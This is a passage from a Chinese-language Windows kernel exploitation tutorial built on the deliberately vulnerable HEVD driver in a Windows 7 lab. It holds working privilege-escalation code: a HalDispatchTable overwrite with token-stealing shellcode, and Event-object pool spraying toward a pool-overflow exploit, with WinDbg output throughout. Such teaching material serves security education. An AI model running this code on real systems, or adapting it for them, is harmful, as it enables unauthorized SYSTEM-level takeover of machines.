840cc41a 83ec10 sub esp,10h
840cc41d 83f801 cmp eax,1
840cc420 7507 jne nt!KeQueryIntervalProfile+0x14 (840cc429)
840cc422 a1c86af683 mov eax,dword ptr [nt!KiProfileAlignmentFixupInterval (83f66ac8)]
840cc427 c9 leave
2: kd> u
nt!KeQueryIntervalProfile+0x13:
840cc428 c3 ret
840cc429 8945f0 mov dword ptr [ebp-10h],eax
840cc42c 8d45fc lea eax,[ebp-4]
840cc42f 50 push eax
840cc430 8d45f0 lea eax,[ebp-10h]
840cc433 50 push eax
840cc434 6a0c push 0Ch
840cc436 6a01 push 1
2: kd>
nt!KeQueryIntervalProfile+0x23:
840cc438 ff15fcc3f283 call dword ptr [nt!HalDispatchTable+0x4 (83f2c3fc)]
840cc43e 85c0 test eax,eax
840cc440 7c0b jl nt!KeQueryIntervalProfile+0x38 (840cc44d)
840cc442 807df400 cmp byte ptr [ebp-0Ch],0
840cc446 7405 je nt!KeQueryIntervalProfile+0x38 (840cc44d)
840cc448 8b45f8 mov eax,dword ptr [ebp-8]
840cc44b c9 leave
840cc44c c3 ret

上面的0x840cc438处会有一个指针数组,这里就是我们shellcode需要覆盖的地方,为什么是这个地方呢?这是前人发现的,这个函数在内核中调用的很少,可以安全可靠地覆盖,而不会导致计算机崩溃,对于初学者而言就把这个地方当公式用吧,下面简单看一下HalDispatchTable这个内核服务函数指针表,结构如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HAL_DISPATCH HalDispatchTable = {
HAL_DISPATCH_VERSION,
xHalQuerySystemInformation,
xHalSetSystemInformation,
xHalQueryBusSlots,
xHalDeviceControl,
xHalExamineMBR,
xHalIoAssignDriveLetters,
xHalIoReadPartitionTable,
xHalIoSetPartitionInformation,
xHalIoWritePartitionTable,
xHalHandlerForBus, // HalReferenceHandlerByBus
xHalReferenceHandler, // HalReferenceBusHandler
xHalReferenceHandler // HalDereferenceBusHandler
};

我们需要很清楚的知道,我们刚才在找什么,我们就是在找where指针的位置,所以我们只需要把where的位置放在HalDispatchTable+0x4处就行了,而what指针我们希望的是存放shellcode的位置

  • what -> &shellcode
  • where -> HalDispatchTable+0x4

利用代码

上面我们解释了where和what指针的原理,现在我们需要用代码来实现上面的过程,我们主要聚焦点在where指针上,我们需要找到HalDispatchTable+0x4的位置,我们大致分一下流程:

  1. 找到 ntkrnlpa.exe 在 kernel mode 中的基地址
  2. 找到 ntkrnlpa.exe 在 user mode 中的基地址
  3. 找到 HalDispatchTable 在 user mode 中的地址
  4. 计算 HalDispatchTable+0x4 的地址

ntkrnlpa.exe 在 kernel mode 中的基地址

我们用EnumDeviceDrivers函数检索系统中每个设备驱动程序的加载地址,然后用GetDeviceDriverBaseNameA函数检索指定设备驱动程序的基本名称,以此确定 ntkrnlpa.exe 在内核模式中的基地址,当然我们需要包含文件头Psapi.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
LPVOID NtkrnlpaBase()
{
LPVOID lpImageBase[1024];
DWORD lpcbNeeded;
TCHAR lpfileName[1024];
//Retrieves the load address for each device driver in the system
EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);

for (int i = 0; i < 1024; i++)
{
//Retrieves the base name of the specified device driver
GetDeviceDriverBaseNameA(lpImageBase[i], lpfileName, 48);

if (!strcmp(lpfileName, "ntkrnlpa.exe"))
{
printf("[+]success to get %s\n", lpfileName);
return lpImageBase[i];
}
}
return NULL;
}

ntkrnlpa.exe 在 user mode 中的基地址

我们用函数LoadLibrary将指定的模块加载到调用进程的地址空间中,获取它在用户模式下的基地址

1
HMODULE hUserSpaceBase = LoadLibrary("ntkrnlpa.exe");

HalDispatchTable 在 user mode 中的地址

我们用GetProcAddress函数返回ntkrnlpa.exe中的导出函数HalDispatchTable的地址

1
PVOID pUserSpaceAddress = GetProcAddress(hUserSpaceBase, "HalDispatchTable");

计算 HalDispatchTable+0x4 的地址

如果你是一个pwn选手的话,你可以把这里的计算过程类比计算函数中的偏移,实际地址 = 基地址 + 偏移,最终我们确定下了HalDispatchTable+0x4的地址

1
DWORD32 hal_4 = (DWORD32)pNtkrnlpaBase + ((DWORD32)pUserSpaceAddress - (DWORD32)hUserSpaceBase) + 0x4;

我们计算出了where指针的位置,what指针放好shellcode的位置之后,我们再次调用NtQueryIntervalProfile内核函数就可以实现提权,但是这里的NtQueryIntervalProfile函数需要我们自己去定义(函数的详情建议下一个Windows NT4的源码查看),函数原型如下:

1
2
3
4
5
NTSTATUS
NtQueryIntervalProfile (
IN KPROFILE_SOURCE ProfileSource,
OUT PULONG Interval
)

最后你可能还要注意一下堆栈的平衡问题,shellcode中需要平衡一下堆栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static VOID ShellCode()
{
_asm
{
//int 3
pop edi // the stack balancing
pop esi
pop ebx
pushad
mov eax, fs: [124h] // Find the _KTHREAD structure for the current thread
mov eax, [eax + 0x50] // Find the _EPROCESS structure
mov ecx, eax
mov edx, 4 // edx = system PID(4)

// The loop is to get the _EPROCESS of the system
find_sys_pid :
mov eax, [eax + 0xb8] // Find the process activity list
sub eax, 0xb8 // List traversal
cmp[eax + 0xb4], edx // Determine whether it is SYSTEM based on PID
jnz find_sys_pid

// Replace the Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
//int 3
ret
}
}

详细的代码参考这里,最后提权成功

test

0x06:Pool-OverFlow

这是 Windows kernel exploit 系列的第四部分,前一篇我们讲了任意内存覆盖漏洞,这一篇我们讲内核池溢出漏洞,这一篇篇幅虽然可能不会很多,但是需要很多的前置知识,也就是说,我们需要对Windows内存分配机制有一个深入的理解,我的建议是先看《0day安全:软件漏洞分析技术第二版》中的第五章堆溢出利用,里面很详细的讲解了堆的一些机制,但是主要讨论的是 Windows 2000~Windows XP SP1 平台的堆管理策略,看完了之后,类比堆溢出利用你可以看 Tarjei Mandt 写的 Kernel Pool Exploitation on Windows 7 ,因为我们的实验平台是 Windows 7 的内核池,所以我们需要对内核池深入的理解,总之这个过程是漫长的,并不是一两天就能搞定的,话不多说,进入正题,看此文章之前你需要有以下准备:

  • Windows 7 x86 sp1虚拟机
  • 配置好windbg等调试工具,建议配合VirtualKD使用
  • HEVD+OSR Loader配合构造漏洞环境

0x01:漏洞原理

池溢出原理

我们暂时先不看源码,先用IDA分析HEVD.sys,我们找到TriggerPoolOverflow函数,先静态分析一下函数在干什么,可以看到,函数首先用ExAllocatePoolWithTag函数分配了一块非分页内存池,然后将一些信息打印出来,又验证缓冲区是否驻留在用户模式下,然后用memcpy函数将UserBuffer拷贝到KernelBuffer,这和内核栈溢出有点似曾相识的感觉,同样的拷贝,同样的没有控制Size的大小,只是一个是栈溢出一个是池溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int __stdcall TriggerPoolOverflow(void *UserBuffer, unsigned int Size)
{
int result; // eax
PVOID KernelBuffer; // [esp+1Ch] [ebp-1Ch]

DbgPrint("[+] Allocating Pool chunk\n");
KernelBuffer = ExAllocatePoolWithTag(0, 0x1F8u, 0x6B636148u);
if ( KernelBuffer )
{
DbgPrint("[+] Pool Tag: %s\n", "'kcaH'");
DbgPrint("[+] Pool Type: %s\n", "NonPagedPool");
DbgPrint("[+] Pool Size: 0x%X\n", 0x1F8);
DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
ProbeForRead(UserBuffer, 0x1F8u, 1u);
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", 0x1F8);
DbgPrint("[+] Triggering Pool Overflow\n");
memcpy(KernelBuffer, UserBuffer, Size);
DbgPrint("[+] Freeing Pool chunk\n");
DbgPrint("[+] Pool Tag: %s\n", "'kcaH'");
DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
ExFreePoolWithTag(KernelBuffer, 0x6B636148u);
result = 0;
}
else
{
DbgPrint("[-] Unable to allocate Pool chunk\n");
result = 0xC0000017;
}
return result;
}

漏洞的原理很简单,就是没有控制好传入Size的大小,为了更清楚的了解漏洞原理,我们分析一下源码文件BufferOverflowNonPagedPool.c,定位到关键点的位置,也就是说,安全的操作始终对分配的内存有严格的控制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#ifdef SECURE
//
// Secure Note: This is secure because the developer is passing a size
// equal to size of the allocated pool chunk to RtlCopyMemory()/memcpy().
// Hence, there will be no overflow
//

RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)POOL_BUFFER_SIZE);
#else
DbgPrint("[+] Triggering Buffer Overflow in NonPagedPool\n");

//
// Vulnerability Note: This is a vanilla pool buffer overflow vulnerability
// because the developer is passing the user supplied value directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of the allocated Pool chunk
//

RtlCopyMemory(KernelBuffer, UserBuffer, Size);

0x02:漏洞利用

控制码

漏洞的原理我们已经清楚了,但是关键点还是在利用上,内核池这个东西利用起来就不像栈一样那么简单了,我们还是一步一步的构造我们的exploit吧,首先根据上一篇的经验我们知道如何计算控制码从而调用TriggerPoolOverflow函数,首先找到HackSysExtremeVulnerableDriver.h中定义IOCTL的地方,找到我们对应的函数

1
#define HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL                IOCTL(0x803)

然后我们用python计算一下控制码

1
2
>>> hex((0x00000022 << 16) | (0x00000000 << 14) | (0x803 << 2) | 0x00000003)
'0x22200f'

我们验证一下我们的代码,我们先给buf一个比较小的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include<stdio.h>
#include<Windows.h>

HANDLE hDevice = NULL;

BOOL init()
{
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);

printf("[+]Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf("[+]Success to get HANDLE!\n");
return TRUE;
}

int main()
{
DWORD bReturn = 0;
char buf[8];
if (init() == FALSE)
{
printf("[+]Failed to get HANDLE!!!\n");
system("pause");
return 0;
}

RtlFillMemory(buf, 8, 0x41);
DeviceIoControl(hDevice, 0x22200f, buf, 8, NULL, 0, &bReturn, NULL);

return 0;
}

运行一下如我们所愿调用了TriggerPoolOverflow函数,另外我们可以发现 Pool Size 有 0x1F8(504) 的大小(如果你细心的话其实在IDA中也能看到,另外你可以尝试着多传入几个字节的大小破坏下一块池头的内容,看看是否会蓝屏)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0: kd> g
****** HACKSYS_EVD_IOCTL_POOL_OVERFLOW ******
[+] Allocating Pool chunk
[+] Pool Tag: 'kcaH'
[+] Pool Type: NonPagedPool
[+] Pool Size: 0x1F8
[+] Pool Chunk: 0x8674B610
[+] UserBuffer: 0x001BFB58
[+] UserBuffer Size: 0x8
[+] KernelBuffer: 0x8674B610
[+] KernelBuffer Size: 0x1F8
[+] Triggering Pool Overflow
[+] Freeing Pool chunk
[+] Pool Tag: 'kcaH'
[+] Pool Chunk: 0x8674B610
****** HACKSYS_EVD_IOCTL_POOL_OVERFLOW ******

我们现在需要了解内核池分配的情况,所以我们需要在拷贝函数执行之前下断点观察,我们把 buf 设为 0x1F8 大小

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
1: kd> u 8D6A320B // 反编译查看断点位置是否下对
HEVD!TriggerPoolOverflow+0xe1 [c:\hacksysextremevulnerabledriver\driver\pooloverflow.c @ 113]:
8d6a320b e8cacfffff call HEVD!memcpy (8d6a01da)
8d6a3210 686c436a8d push offset HEVD! ?? ::NNGAKEGL::`string' (8d6a436c)
8d6a3215 e8eccdffff call HEVD!DbgPrint (8d6a0006)
8d6a321a 6834446a8d push offset HEVD! ?? ::NNGAKEGL::`string' (8d6a4434)
8d6a321f 53 push ebx
8d6a3220 e8e1cdffff call HEVD!DbgPrint (8d6a0006)
8d6a3225 ff75e4 push dword ptr [ebp-1Ch]
8d6a3228 57 push edi
1: kd> ba e1 8D6A320B // 下硬件执行断点
1: kd> g
****** HACKSYS_EVD_IOCTL_POOL_OVERFLOW ******
[+] Allocating Pool chunk
[+] Pool Tag: 'kcaH'
[+] Pool Type: NonPagedPool
[+] Pool Size: 0x1F8
[+] Pool Chunk: 0x88CAAA90
[+] UserBuffer: 0x001FF82C
[+] UserBuffer Size: 0x1F8
[+] KernelBuffer: 0x88CAAA90
[+] KernelBuffer Size: 0x1F8
[+] Triggering Pool Overflow
Breakpoint 0 hit
HEVD!TriggerPoolOverflow+0xe1:
8c6d120b e8cacfffff call HEVD!memcpy (8c6ce1da)

我们可以用!pool address命令查看address周围地址处的池信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
kd> !pool 0x88CAAA90
Pool page 88caaa90 region is Nonpaged pool
88caa000 size: 118 previous size: 0 (Allocated) AfdE (Protected)
88caa118 size: 8 previous size: 118 (Free) Ipng
88caa120 size: 68 previous size: 8 (Allocated) EtwR (Protected)
88caa188 size: 2e8 previous size: 68 (Free) Thre
88caa470 size: 118 previous size: 2e8 (Allocated) AfdE (Protected)
88caa588 size: 190 previous size: 118 (Free) AleD
88caa718 size: 68 previous size: 190 (Allocated) EtwR (Protected)
88caa780 size: 48 previous size: 68 (Allocated) Vad
88caa7c8 size: 30 previous size: 48 (Allocated) NpFn Process: 88487d40
88caa7f8 size: f8 previous size: 30 (Allocated) MmCi
88caa8f0 size: 48 previous size: f8 (Allocated) Vad
88caa938 size: 138 previous size: 48 (Allocated) ALPC (Protected)
88caaa70 size: 18 previous size: 138 (Allocated) CcWk
*88caaa88 size: 200 previous size: 18 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
88caac88 size: 20 previous size: 200 (Allocated) ReTa
88caaca8 size: 190 previous size: 20 (Free) AleD
88caae38 size: 1c8 previous size: 190 (Allocated) AleE

我们查看我们申请到池的末尾,0x41414141之后就是下一个池的池首,我们待会主要的目的就是修改下一个池首的内容,从而运行我们shellcode

1
2
3
4
5
6
7
8
9
kd> dd 88caac88-8
88caac80 41414141 41414141 04040040 61546552
88caac90 00000000 00000003 00000000 00000000
88caaca0 00000000 00000000 00320004 44656c41
88caacb0 884520c8 88980528 00000011 00000000
88caacc0 01100802 00000080 760e0002 000029c7
88caacd0 873e2ae0 873e2ae0 e702b9dd 00000000
88caace0 00000164 00000000 00000000 00000001
88caacf0 00000000 00000100 88caacb0 8969ae1b

Event Object

从上面的池分布信息可以看到周围的池分布是很杂乱无章的,我们希望是能够控制我们内核池的分布,从源码中我们已经知道,我们的漏洞点是产生在非分页池中的,所以我们需要一个函数像malloc一样申请在我们的内核非分页池中,我们这里使用的是CreateEventA,函数原型如下

1
2
3
4
5
6
HANDLE CreateEventA(
LPSECURITY_ATTRIBUTES lpEventAttributes,
BOOL bManualReset,
BOOL bInitialState,
LPCSTR lpName
);

该函数会生成一个Event事件对象,它的大小为 0x40 ,因为在刚才的调试中我们知道我们的池大小为 0x1f8 + 8 = 0x200,所以多次申请就刚好可以填满我们的池,如果把池铺满成我们的Event对象,我们再用CloseHandle函数释放一些对象,我们就可以在Event中间留出一些我们可以操控的空间,我们构造如下代码测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include<stdio.h>
#include<Windows.h>

HANDLE hDevice = NULL;

BOOL init()
{
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);

printf("[+]Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf("[+]Success to get HANDLE!\n");
return TRUE;
}

HANDLE spray_event[0x1000];

VOID pool_spray()
{
for (int i = 0; i < 0x1000; i++)
spray_event[i] = CreateEventA(NULL, FALSE, FALSE, NULL);
}

int main()
{
DWORD bReturn = 0;
char buf[504] = { 0 };

RtlFillMemory(buf, 504, 0x41);

if (init() == FALSE)
{
printf("[+]Failed to get HANDLE!!!\n");
system("pause");
return 0;
}

pool_spray();
DeviceIoControl(hDevice, 0x22200f, buf, 504, NULL, 0, &bReturn, NULL);

//__debugbreak();
return 0;
}

可以发现,我们已经把内核池铺成了我们希望的样子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
****** HACKSYS_EVD_IOCTL_POOL_OVERFLOW ******
[+] Allocating Pool chunk
[+] Pool Tag: 'kcaH'
[+] Pool Type: NonPagedPool
[+] Pool Size: 0x1F8
[+] Pool Chunk: 0x86713A08
[+] UserBuffer: 0x0032FB1C
[+] UserBuffer Size: 0x1F8
[+] KernelBuffer: 0x86713A08
[+] KernelBuffer Size: 0x1F8
[+] Triggering Pool Overflow
Breakpoint 0 hit
HEVD!TriggerPoolOverflow+0xe1:
8c6d120b e8cacfffff call HEVD!memcpy (8c6ce1da)
kd> !pool 0x86713A08
Pool page 86713a08 region is Nonpaged pool
86713000 size: 40 previous size: 0 (Allocated) Even (Protected)
86713040 size: 10 previous size: 40 (Free) ....
86713050 size: 48 previous size: 10 (Allocated) Vad
86713098 size: 48 previous size: 48 (Allocated) Vad
867130e0 size: 40 previous size: 48 (Allocated) Even (Protected)
86713120 size: 28 previous size: 40 (Allocated) WfpF
86713148 size: 28 previous size: 28 (Allocated) WfpF
86713170 size: 890 previous size: 28 (Free) NSIk
*86713a00 size: 200 previous size: 890 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
86713c00 size: 40 previous size: 200 (Allocated) Even (Protected)
86713c40 size: 40 previous size: 40 (Allocated) Even (Protected)
86713c80 size: 40 previous size: 40 (Allocated) Even (Protected)
86713cc0 size: 40 previous size: 40 (Allocated) Even (Protected)
86713d00 size: 40 previous size: 40 (Allocated) Even (Protected)
86713d40 size: 40 previous size: 40 (Allocated) Even (Protected)
86713d80 size: 40 previous size: 40 (Allocated) Even (Protected)
86713dc0 size: 40 previous size: 40 (Allocated) Even (Protected)
86713e00 size: 40 previous size: 40 (Allocated) Even (Protected)
86713e40 size: 40 previous size: 40 (Allocated) Even (Protected)
86713e80 size: 40 previous size: 40 (Allocated) Even (Protected)
86713ec0 size: 40 previous size: 40 (Allocated) Even (Protected)
86713f00 size: 40 previous size: 40 (Allocated) Even (Protected)
86713f40 size: 40 previous size: 40 (Allocated) Even (Protected)
86713f80 size: 40 previous size: 40 (Allocated) Even (Protected)
86713fc0 size: 40 previous size: 40 (Allocated) Even (Protected)

接下来我们加上CloseHandle函数就可以制造一些空洞了

1
2
3
4
5
6
7
8
9
10
11
12
13
VOID pool_spray()
{
for (int i = 0; i < 0x1000; i++)
spray_event[i] = CreateEventA(NULL, FALSE, FALSE, NULL);

for (int i = 0; i < 0x1000; i++)
{
// 0x40 * 8 = 0x200
for (int j = 0; j < 8; j++)
CloseHandle(spray_event[i + j]);
i += 8;
}
}

重新运行结果如下,我们已经制造了许多空洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
****** HACKSYS_EVD_IOCTL_POOL_OVERFLOW ******
[+] Allocating Pool chunk
[+] Pool Tag: 'kcaH'
[+] Pool Type: NonPagedPool
[+] Pool Size: 0x1F8
[+] Pool Chunk: 0x8675AB88
[+] UserBuffer: 0x0017F808
[+] UserBuffer Size: 0x1F8
[+] KernelBuffer: 0x8675AB88
[+] KernelBuffer Size: 0x1F8
[+] Triggering Pool Overflow
Breakpoint 0 hit
HEVD!TriggerPoolOverflow+0xe1:
8d6a320b e8cacfffff call HEVD!memcpy (8d6a01da)
1: kd> !pool 0x8675AB88
unable to get nt!ExpHeapBackedPoolEnabledState
Pool page 8675ab88 region is Nonpaged pool
8675a000 size: 40 previous size: 0 (Free) Even
8675a040 size: 40 previous size: 40 (Free ) Even (Protected)
8675a080 size: 40 previous size: 40 (Free ) Even (Protected)
8675a0c0 size: 40 previous size: 40 (Free ) Even (Protected)
8675a100 size: 40 previous size: 40 (Free ) Even (Protected)
8675a140 size: 40 previous size: 40 (Free ) Even (Protected)
8675a180 size: 40 previous size: 40 (Free ) Even (Protected)
8675a1c0 size: 40 previous size: 40 (Free ) Even (Protected)
8675a200 size: 40 previous size: 40 (Free ) Even (Protected)
8675a240 size: 40 previous size: 40 (Allocated) Even (Protected)
8675a280 size: 40 previous size: 40 (Free ) Even (Protected)
8675a2c0 size: 40 previous size: 40 (Free ) Even (Protected)
8675a300 size: 40 previous size: 40 (Free ) Even (Protected)
8675a340 size: 40 previous size: 40 (Free ) Even (Protected)
8675a380 size: 40 previous size: 40 (Free ) Even (Protected)
8675a3c0 size: 40 previous size: 40 (Free ) Even (Protected)
8675a400 size: 40 previous size: 40 (Free ) Even (Protected)
8675a440 size: 40 previous size: 40 (Free) Even
8675a480 size: 40 previous size: 40 (Allocated) Even (Protected)
8675a4c0 size: 200 previous size: 40 (Free) Even
8675a6c0 size: 40 previous size: 200 (Allocated) Even (Protected)
8675a700 size: 200 previous size: 40 (Free) Even
8675a900 size: 40 previous size: 200 (Allocated) Even (Protected)
8675a940 size: 200 previous size: 40 (Free) Even
8675ab40 size: 40 previous size: 200 (Allocated) Even (Protected)
*8675ab80 size: 200 previous size: 40 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
8675ad80 size: 40 previous size: 200 (Allocated) Even (Protected)
8675adc0 size: 200 previous size: 40 (Free) Even
8675afc0 size: 40 previous size: 200 (Allocated) Even (Protected)

池头伪造

首先我们复习一下x86 Kernel Pool的池头结构_POOL_HEADER_POOL_HEADER是用来管理pool thunk的,里面存放一些释放和分配所需要的信息

1
2
3
4
5
6
7
8
9
0: kd> dt nt!_POOL_HEADER
+0x000 PreviousSize : Pos 0, 9 Bits
+0x000 PoolIndex : Pos 9, 7 Bits
+0x002 BlockSize : Pos 0, 9 Bits
+0x002 PoolType : Pos 9, 7 Bits
+0x000 Ulong1 : Uint4B
+0x004 PoolTag : Uint4B
+0x004 AllocatorBackTraceIndex : Uint2B
+0x006 PoolTagHash : Uint2B
  • PreviousSize: 前一个chunk的BlockSize。
  • PoolIndex : 所在大pool的pool descriptor的index。这是用来检查释放pool的算法是否释放正确了。
  • PoolType: Free=0,Allocated=(PoolType|2)
  • PoolTag: 4个可打印字符,标明由哪段代码负责。(4 printable characters identifying the code responsible for the allocation)

我们在调试中查看下一个池的一些结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
...
[+] Pool Chunk: 0x867C8CC8
...
2: kd> !pool 0x867C8CC8
...
*867c8cc0 size: 200 previous size: 40 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
867c8ec0 size: 40 previous size: 200 (Allocated) Even (Protected)
...
2: kd> dd 867c8ec0
867c8ec0 04080040 ee657645 00000000 00000040
867c8ed0 00000000 00000000 00000001 00000001
867c8ee0 00000000 0008000c 88801040 00000000
867c8ef0 11040001 00000000 867c8ef8 867c8ef8
867c8f00 00200008 ee657645 867bc008 867c8008
867c8f10 00000000 00000000 00000000 00000000
867c8f20 00000000 00080001 00000000 00000000
867c8f30 74040001 00000000 867c8f38 867c8f38
2: kd> dt nt!_POOL_HEADER 867c8ec0
+0x000 PreviousSize : 0y001000000 (0x40)
+0x000 PoolIndex : 0y0000000 (0)
+0x002 BlockSize : 0y000001000 (0x8)
+0x002 PoolType : 0y0000010 (0x2)
+0x000 Ulong1 : 0x4080040
+0x004 PoolTag : 0xee657645
+0x004 AllocatorBackTraceIndex : 0x7645
+0x006 PoolTagHash : 0xee65
2: kd> dt nt!_OBJECT_HEADER_QUOTA_INFO 867c8ec0+8
+0x000 PagedPoolCharge : 0
+0x004 NonPagedPoolCharge : 0x40
+0x008 SecurityDescriptorCharge : 0
+0x00c SecurityDescriptorQuotaBlock : (null)
2: kd> dt nt!_OBJECT_HEADER 867c8ec0+18
+0x000 PointerCount : 0n1
+0x004 HandleCount : 0n1
+0x004 NextToFree : 0x00000001 Void
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : 0xc ''
+0x00d TraceFlags : 0 ''
+0x00e InfoMask : 0x8 ''
+0x00f Flags : 0 ''
+0x010 ObjectCreateInfo : 0x88801040 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : 0x88801040 Void
+0x014 SecurityDescriptor : (null)
+0x018 Body : _QUAD

你可能会疑惑_OBJECT_HEADER_OBJECT_HEADER_QUOTA_INFO是怎么分析出来的,这里你需要了解 Windows 7 的对象结构不然可能听不懂图片下面的那几行字,最好是在NT4源码(private\ntos\inc\ob.h)中搜索查看这些结构,这里我放一张图片吧

1

这里我简单说一下如何识别这两个结构的,根据下一块池的大小是 0x40 ,在_OBJECT_HEADER_QUOTA_INFO结构中NonPagedPoolCharge的偏移为0x004刚好为池的大小,所以这里确定为_OBJECT_HEADER_QUOTA_INFO结构,又根据InfoMask字段在_OBJECT_HEADER中的偏移,结合我们确定的_OBJECT_HEADER_QUOTA_INFO结构掩码为0x8可以确定这里就是我们的InfoMask,这样推出_OBJECT_HEADER的位置在+0x18处,其实我们需要修改的也就是_OBJECT_HEADER中的TypeIndex字段,这里是0xc,我们需要将它修改为0,我们看一下_OBJECT_HEADER的结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
3: kd> dt _OBJECT_HEADER
nt!_OBJECT_HEADER
+0x000 PointerCount : Int4B
+0x004 HandleCount : Int4B
+0x004 NextToFree : Ptr32 Void
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : UChar
+0x00d TraceFlags : UChar
+0x00e InfoMask : UChar
+0x00f Flags : UChar
+0x010 ObjectCreateInfo : Ptr32 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : Ptr32 Void
+0x014 SecurityDescriptor : Ptr32 Void
+0x018 Body : _QUAD

Windows 7 之后 _OBJECT_HEADER 及其之前的一些结构发生了变化,Windows 7之前0×008处的指向_OBJECT_TYPE的指针已经没有了, 取而代之的是在 0x00c 处的类型索引值。但Windows7中添加了一个函数ObGetObjectType,返回Object_type对象指针,也就是说根据索引值在ObTypeIndexTable数组中找到对应的ObjectType

1
2
3
4
5
6
7
8
9
10
3: kd> u ObGetObjectType
nt!ObGetObjectType:
8405a7bd 8bff mov edi,edi
8405a7bf 55 push ebp
8405a7c0 8bec mov ebp,esp
8405a7c2 8b4508 mov eax,dword ptr [ebp+8]
8405a7c5 0fb640f4 movzx eax,byte ptr [eax-0Ch]
8405a7c9 8b04850059f483 mov eax,dword ptr nt!ObTypeIndexTable (83f45900)[eax*4]
8405a7d0 5d pop ebp
8405a7d1 c20400 ret 4

我们查看一下ObTypeIndexTable数组,根据TypeIndex的大小我们可以确定偏移 0xc 处的 0x865f0598 即是我们 Event 对象的OBJECT_TYPE,我们这里主要关注的是TypeInfo中的CloseProcedure字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
1: kd> dd nt!ObTypeIndexTable
83f45900 00000000 bad0b0b0 86544768 865446a0
83f45910 865445d8 865cd040 865cdf00 865cde38
83f45920 865cdd70 865cdca8 865cdbe0 865cd528
83f45930 865f0598 865f2418 865f2350 865f44c8
83f45940 865f4400 865f4338 865f0040 865f0230
83f45950 865f0168 865f19b8 865f18f0 865f1828
83f45960 865f1760 865f1698 865f15d0 865f1508
83f45970 865f1440 865ef6f0 865ef628 865ef560
1: kd> dt nt!_OBJECT_TYPE 865f0598
+0x000 TypeList : _LIST_ENTRY [ 0x865f0598 - 0x865f0598 ]
+0x008 Name : _UNICODE_STRING "Event"
+0x010 DefaultObject : (null)
+0x014 Index : 0xc ''
+0x018 TotalNumberOfObjects : 0x1050
+0x01c TotalNumberOfHandles : 0x10ac
+0x020 HighWaterNumberOfObjects : 0x1e8a
+0x024 HighWaterNumberOfHandles : 0x1ee6
+0x028 TypeInfo : _OBJECT_TYPE_INITIALIZER
+0x078 TypeLock : _EX_PUSH_LOCK
+0x07c Key : 0x6e657645
+0x080 CallbackList : _LIST_ENTRY [ 0x865f0618 - 0x865f0618 ]
1: kd> dx -id 0,0,ffffffff889681e0 -r1 (*((ntkrpamp!_OBJECT_TYPE_INITIALIZER *)0xffffffff865f05c0))
(*((ntkrpamp!_OBJECT_TYPE_INITIALIZER *)0xffffffff865f05c0)) [Type: _OBJECT_TYPE_INITIALIZER]
[+0x000] Length : 0x50 [Type: unsigned short]
[+0x002] ObjectTypeFlags : 0x0 [Type: unsigned char]
[+0x002 ( 0: 0)] CaseInsensitive : 0x0 [Type: unsigned char]
[+0x002 ( 1: 1)] UnnamedObjectsOnly : 0x0 [Type: unsigned char]
[+0x002 ( 2: 2)] UseDefaultObject : 0x0 [Type: unsigned char]
[+0x002 ( 3: 3)] SecurityRequired : 0x0 [Type: unsigned char]
